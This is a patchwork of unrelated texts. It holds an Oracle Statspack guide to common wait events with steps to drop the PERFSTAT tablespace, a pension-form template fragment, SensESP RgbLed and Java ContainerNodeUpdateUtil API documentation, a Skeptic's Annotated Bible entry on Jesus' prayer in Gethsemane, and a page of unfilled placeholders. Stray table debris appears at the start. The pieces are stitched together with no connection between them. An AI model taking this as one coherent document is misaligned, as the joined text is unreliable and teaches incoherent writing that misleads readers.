FULL
|X$KZSPR
| 1 | 26 | 14 |
|
VIEW
|
| 1 | 13
| 2 |
| FAST
DUAL
|
| 1 |
| 2 |
--------------------------------------------------------------------------------
Resolving Your Wait Events
The following are 10 of the most common causes for
wait events, along with explanations and potential solutions:
This generally indicates waits related to full
table scans. As full table scans are pulled into memory, they rarely fall into
contiguous buffers but instead are scattered throughout the buffer cache. A large number
here indicates that your table may have missing or suppressed indexes. Although it may be
more efficient in your situation to perform a full table scan than an index scan, check
to ensure that full table scans are necessary when you see these waits. Try to cache
small tables to avoid reading them in over and over again, since a full table scan is put
at the cold end of the LRU (Least Recently Used) list.
This event generally indicates a single block read
(an index read, for example). A large number of waits here could indicate poor joining
orders of tables, or unselective indexing. It is normal for this number to be
large for a high-transaction, well-tuned system, but it can indicate problems in some
circumstances. You should correlate this wait statistic with other known issues within
the Statspack report, such as inefficient SQL. Check to ensure that index scans are
necessary, and check join orders for multiple table joins. The DB_CACHE_SIZE will also be
a determining factor in how often these waits show up. Problematic hash-area joins should
show up in the PGA memory, but they're also memory hogs that could cause high wait
numbers for sequential reads. They can also show up as direct path read/write
waits.
This indicates your system is waiting for a buffer
in memory, because none is currently available. Waits in this category may indicate that
you need to increase the DB_BUFFER_CACHE, if all your SQL is tuned. Free buffer
waits could also indicate that unselective SQL is causing data to flood the buffer cache
with index blocks, leaving none for this particular statement that is waiting for the
system to process. This normally indicates that there is a substantial amount of DML
(insert/update/delete) being done and that the Database Writer (DBWR) is not writing
quickly enough; the buffer cache could be full of multiple versions of the same buffer,
causing great inefficiency. To address this, you may want to consider accelerating
incremental checkpointing, using more DBWR processes, or increasing the number of
physical disks.
This is a wait for a buffer that is being used in an
unshareable way or is being read into the buffer cache. Buffer busy waits should not
be greater than 1 percent. Check the Buffer Wait Statistics section (or V$WAITSTAT)
to find out if the wait is on a segment header. If this is the case, increase the
freelist groups or increase the pctused to pctfree gap. If the wait is on
an undo header, you can address this by adding rollback segments; if it's on an undo
block, you need to reduce the data density on the table driving this consistent read or
increase the DB_CACHE_SIZE. If the wait is on a data block, you can move data to another
block to avoid this hot block, increase the freelists on the table, or use Locally
Managed Tablespaces (LMTs). If it's on an index block, you should rebuild the index,
partition the index, or use a reverse key index. To prevent buffer busy waits related to
data blocks, you can also use a smaller block size: fewer records fall within a single
block in this case, so it's not as "hot." When a DML (insert/update/ delete) occurs,
Oracle Database writes information into the block, including all users who are
"interested" in the state of the block (Interested Transaction List, ITL). To decrease
waits in this area, you can increase the initrans, which will create the space in
the block to allow multiple ITL slots. You can also increase the pctfree on the
table where this block exists (this writes the ITL information up to the number specified
by maxtrans, when there are not enough slots built with the initrans that
is specified).
Latches are low-level queuing mechanisms (they're
accurately referred to as mutual exclusion mechanisms) used to protect shared memory
structures in the system global area (SGA). Latches are like locks on memory that are
very quickly obtained and released. Latches are used to prevent concurrent access to a
shared memory structure. If the latch is not available, a latch free miss is
recorded. Most latch problems are related to the failure to use bind variables
(library cache latch), redo generation issues (redo allocation latch), buffer cache
contention issues (cache buffers LRU chain), and hot blocks in the buffer cache (cache
buffers chain). There are also latch waits related to bugs; check MetaLink for bug
reports if you suspect this is the case. When latch miss ratios
are greater than 0.5 percent, you should investigate the issue.
An enqueue is a lock that protects a shared
resource. Locks protect shared resources, such as data in a record, to prevent two people
from updating the same data at the same time. An enqueue includes a queuing mechanism,
which is FIFO (first in, first out). Note that Oracle's latching mechanism is not FIFO.
Enqueue waits usually point to the ST enqueue, the HW enqueue, the TX4 enqueue, and the
TM enqueue. The ST enqueue is used for space management and allocation for
dictionary-managed tablespaces. Use LMTs, or try to preallocate extents or at least make
the next extent larger for problematic dictionary-managed tablespaces. HW enqueues are
used with the high-water mark of a segment; manually allocating the extents can
circumvent this wait. TX4s are the most common enqueue waits. TX4 enqueue waits are
usually the result of one of three issues. The first issue is duplicates in a unique
index; you need to commit/rollback to free the enqueue. The second is multiple updates to
the same bitmap index fragment. Since a single bitmap fragment may contain multiple
rowids, you need to issue a commit or rollback to free the enqueue when multiple users
are trying to update the same fragment. The third and most likely issue is when
multiple users are updating the same block. If there are no free ITL slots, a
block-level lock could occur. You can easily avoid this scenario by increasing the
initrans and/or maxtrans to allow multiple ITL slots and/or by increasing
the pctfree on the table. Finally, TM enqueues occur during DML to prevent DDL to
the affected object. If you have foreign keys, be sure to index them to avoid this
general locking issue.
This wait occurs because you are writing the log
buffer faster than LGWR can write it to the redo logs, or because log switches are too
slow. To address this problem, increase the size of the log files, or increase the
size of the log buffer, or get faster disks to write to. You might even consider using
solid-state disks, for their high speed.
All commit requests are waiting for "logfile switch
(archiving needed)" or "logfile switch (Checkpoint.
Incomplete)." Ensure that the archive disk is not full or slow. DBWR may be too slow
because of I/O. You may need to add more or larger redo logs, and you may potentially
need to add database writers if the DBWR is the problem.
When a user commits or rolls back data, the LGWR
flushes the session's redo from the log buffer to the redo logs. The log file sync
process must wait for this to successfully complete. To reduce wait events here, try to
commit more records (try to commit a batch of 50 instead of one at a time, for
example). Put redo logs on a faster disk, or alternate redo logs on different
physical disks, to reduce the archiving effect on LGWR. Don't use RAID 5, since it is
very slow for applications that write a lot; potentially consider using file system
direct I/O or raw devices, which are very fast at writing information.
There are several idle wait events listed after the
output; you can ignore them. Idle events are generally listed at the bottom of each
section and include such things as SQL*Net message to/from client and other
background-related timings. Idle events are listed in the stats$idle_event
table.
Remove STATSPACK from the Database
After a STATSPACK session you want to remove the
STATSPACK tables.
sqlplus "/ as sysdba"
SQL> @?/rdbms/admin/spdrop.sql SQL> DROP TABLESPACE perfstat
INCLUDING CONTENTS AND DATAFILES;
|


This section is Your partner's income and regular money
{% if thirdparty %}What is the name of {firstname}'s pension?
{% else %}What is the name of your partner's second private or workplace pension?
{% endif %}We will ask you about one pension at a time.


|
SensESP 1.0.8
Universal Signal K sensor framework for ESP8266 and ESP32
|
A special device object that can be used to control a multi-channel color rgb LED light using up to 3 digital output channels. A "color" is defined using the standard 24 bit color depth numbers composed of three 8 bit channels for Red, Green, and Blue (see https://techterms.com/definition/rgb) More...
#include <rgb_led.h>
Public Member Functions | |
| RgbLed (int led_r_pin=-1, int led_g_pin=-1, int led_b_pin=-1, String config_path="", long led_on_rgb=0x00FF00, long led_off_rgb=0xFF0000, bool common_anode=true) | |
| virtual void | set_input (long new_value, uint8_t input_channel=0) override |
| virtual void | set_input (bool new_value, uint8_t input_channel=0) override |
| virtual void | get_configuration (JsonObject &doc) override |
| virtual bool | set_configuration (const JsonObject &config) override |
| virtual String | get_config_schema () override |
| Public Member Functions inherited from Configurable | |
| Configurable (String config_path) | |
| virtual void | save_configuration () |
| Public Member Functions inherited from ValueConsumer< long > | |
| void | connect_from (ValueProducer< long > *producer, uint8_t input_channel=0) |
| void | connectFrom (ValueProducer< long > *producer, uint8_t input_channel=0) |
| Public Member Functions inherited from ValueConsumer< bool > | |
| void | connect_from (ValueProducer< bool > *producer, uint8_t input_channel=0) |
| void | connectFrom (ValueProducer< bool > *producer, uint8_t input_channel=0) |
Protected Attributes | |
| int | led_r_channel_ |
| int | led_g_channel_ |
| int | led_b_channel_ |
| long | led_on_rgb_ |
| long | led_off_rgb_ |
| bool | common_anode_ |
Additional Inherited Members | |
| Public Attributes inherited from Configurable | |
| const String | config_path |
| Protected Member Functions inherited from Configurable | |
| virtual void | load_configuration () |
A special device object that can be used to control a multi-channel color rgb LED light using up to 3 digital output channels. A "color" is defined using the standard 24 bit color depth numbers composed of three 8 bit channels for Red, Green, and Blue (see https://techterms.com/definition/rgb)
Color LEDs can be controlled by either setting the specific color to be displayed via the set_input(long), or by setting the on/off state via set_input(bool). When specifying a simple on/off via the the bool input, the default ON or OFF colors specified in the constructor are used.
You do not have to define all three channels (for example, if you are short on output pins, or if you happen to be using a two channel color led). Specify -1 for any pin for that channel to be ignored. The color values used still have to adhere to the 24 bit color definition however.
| RgbLed::RgbLed | ( | int | led_r_pin = -1 , |
| int | led_g_pin = -1 , |
||
| int | led_b_pin = -1 , |
||
| String | config_path = "" , |
||
| long | led_on_rgb = 0x00FF00 , |
||
| long | led_off_rgb = 0xFF0000 , |
||
| bool | common_anode = true |
||
| ) |
The constructor
| led_r_pin | the digital output pin that controls the red element of an RGB LED. Specify -1 if there is no red channel connected. |
| led_g_pin | the digital output pin that controls the green element of an RGB LED. Specify -1 if there is no green channel connected. |
| led_b_pin | the digital output pin that controls the blue element of an RGB LED. Specify -1 if there is no blue channel connected. |
| config_path | The configuration path to use to load and save the user configurable values of this device. Use BLANK if this device can not have user configurable values. |
| led_on_rgb | The RGB color to use when the switch is in the "on" state. The default value is 0x00FF00, which is RGB for "green" |
| led_off_rgb | The RGB color to use when the switch is in the "off" state. The default value is 0xFF0000, which is RGB red |
| common_anode | TRUE if the led being used is a common_anode version (which inverts the PWM signal to obtain the necessary color). FALSE if the led is a common cathode |
Definition at line 5 of file rgb_led.cpp.
|
overridevirtual |
Returns a configuration schema that specifies the key/value pairs that can be expected when calling get_configuration(), or are expected by set_configuration(). The schema will be in JSON Schema format
Reimplemented from Configurable.
Definition at line 71 of file rgb_led.cpp.
|
overridevirtual |
Returns the current configuration data as a JsonObject. In general, the current state of local member variables are saved to a new object created with JsonDocument::as<JsonObject>() and returned.
Reimplemented from Configurable.
Definition at line 58 of file rgb_led.cpp.
|
overridevirtual |
Sets the current state of local member variables using the data stored in config.
Reimplemented from Configurable.
Definition at line 73 of file rgb_led.cpp.
|
overridevirtual |
Used to set the current display state of the LED with a simple on/off boolean value. Using TRUE for new_value sets the color to the ON color. Using FALSE uses the OFF color.
Reimplemented from ValueConsumer< bool >.
Definition at line 50 of file rgb_led.cpp.
|
overridevirtual |
Used to set the current display state of the LED.
| new_value | The RGB color to display. |
Reimplemented from ValueConsumer< long >.
Definition at line 33 of file rgb_led.cpp.


This Bible contradiction is from the Skeptic's Annotated Bible.
Verses
Yes -- well, sort of anyway
Matthew 26:36-42 View context
Then cometh Jesus with them unto a place called Gethsemane, and saith unto the disciples, Sit ye here, while I go and pray yonder.
And he took with him Peter and the two sons of Zebedee, and began to be sorrowful and very heavy.
Then saith he unto them, My soul is exceeding sorrowful, even unto death: tarry ye here, and watch with me.
And he went a little further, and fell on his face, and prayed, saying, O my Father, if it be possible, let this cup pass from me: nevertheless not as I will, but as thou [wilt].
And he cometh unto the disciples, and findeth them asleep, and saith unto Peter, What, could ye not watch with me one hour?
Watch and pray, that ye enter not into temptation: the spirit indeed [is] willing, but the flesh [is] weak.
He went away again the second time, and prayed, saying, O my Father, if this cup may not pass away from me, except I drink it, thy will be done.
Mark 14:35-36 View context
And he went forward a little, and fell on the ground, and prayed that, if it were possible, the hour might pass from him.
And he said, Abba, Father, all things [are] possible unto thee; take away this cup from me: nevertheless not what I will, but what thou wilt.
Luke 22:41-42 View context
And he was withdrawn from them about a stone's cast, and kneeled down, and prayed,
Saying, Father, if thou be willing, remove this cup from me: nevertheless not my will, but thine, be done.
No way, Jose
John 12:27 View context
Now is my soul troubled; and what shall I say? Father, save me from this hour: but for this cause came I unto this hour.


${1}
🔒 Members only
${6}
Small source code (under 25K)
Blazingly fast rendering
Outperforms leading frameworks
Simple, easy to learn
${2} ${3}
${4}
${5}


public class ContainerNodeUpdateUtil
extends java.lang.Object
| Modifier and Type | Method and Description |
|---|---|
static GridContainer |
updateGridWithNodes(GridContainer grid,
java.util.Map<NodeInput,NodeInput> oldToNewNodes)
Updates the provided
GridContainer with the provided mapping of old to new NodeInput entities. |
static JointGridContainer |
updateGridWithNodes(JointGridContainer grid,
java.util.Map<NodeInput,NodeInput> oldToNewNodes)
Updates the provided
JointGridContainer with the provided mapping of old to new NodeInput entities. |
static SubGridContainer |
updateGridWithNodes(SubGridContainer grid,
java.util.Map<NodeInput,NodeInput> oldToNewNodes)
Updates the provided
SubGridContainer with the provided mapping of old to new NodeInput entities. |
public static GridContainer updateGridWithNodes(GridContainer grid, java.util.Map<NodeInput,NodeInput> oldToNewNodes)
GridContainer
with the provided mapping of old to new NodeInput
entities. When used, one carefully has to check that the mapping is valid. No
further sanity checks are provided and if an invalid mapping is passed in, unexpected behavior
might occur. All entities holding reference to the old nodes are updates with this method.
If the geoPosition of one transformer node is altered, all other transformer nodes
geoPositions are updated as well based on the update definition defined in updateTransformers(Set, Set, Map)
as by convention transformer nodes always needs to have the
same geoPosition. If a chain of transformers is present e.g. nodeA - trafoAtoD - nodeD -
trafoDtoG - nodeG all affected transformer nodes geoPosition is set to the same location as
defined by the update rule defined in updateTransformers(Set, Set, Map)
grid
- the grid that should be updatedoldToNewNodes
- a mapping of old nodes to their corresponding new or updated nodespublic static JointGridContainer updateGridWithNodes(JointGridContainer grid, java.util.Map<NodeInput,NodeInput> oldToNewNodes)
JointGridContainer
with the provided mapping of old to new NodeInput
entities. When used, one carefully has to check that the mapping is valid. No
further sanity checks are provided and if an invalid mapping is passed in, unexpected behavior
might occur. All entities holding reference to the old nodes are updates with this method.
If the geoPosition of one transformer node is altered, all other transformer nodes
geoPositions are updated as well based on the update definition defined in updateTransformers(Set, Set, Map)
as by convention transformer nodes always needs to have the
same geoPosition. If a chain of transformers is present e.g. nodeA - trafoAtoD - nodeD -
trafoDtoG - nodeG all affected transformer nodes geoPosition is set to the same location as
defined by the update rule defined in updateTransformers(Set, Set, Map)
grid
- the grid that should be updatedoldToNewNodes
- a mapping of old nodes to their corresponding new or updated nodespublic static SubGridContainer updateGridWithNodes(SubGridContainer grid, java.util.Map<NodeInput,NodeInput> oldToNewNodes)
SubGridContainer
with the provided mapping of old to new NodeInput
entities. When used, one carefully has to check that the mapping is valid. No
further sanity checks are provided and if an invalid mapping is passed in, unexpected behavior
might occur. Furthermore, if the subgrid to be updated is part of a JointGridContainer
it is highly advised NOT to update a single subgrid, but the whole joint grid, because in case
of transformer node updates on a single subgrid, inconsistency of the overall joint grid might
occur. To update the whole joint grid use updateGridWithNodes(JointGridContainer, Map)
If the geoPosition of one transformer node is altered, all other transformer nodes
geoPositions are updated as well based on the update definition defined in updateTransformers(Set, Set, Map)
as by convention transformer nodes always needs to have the
same geoPosition. If a chain of transformers is present e.g. nodeA - trafoAtoD - nodeD -
trafoDtoG - nodeG all affected transformer nodes geoPosition is set to the same location as
defined by the update rule defined in updateTransformers(Set, Set, Map)
grid
- the grid that should be updatedoldToNewNodes
- a mapping of old nodes to their corresponding new or updated nodes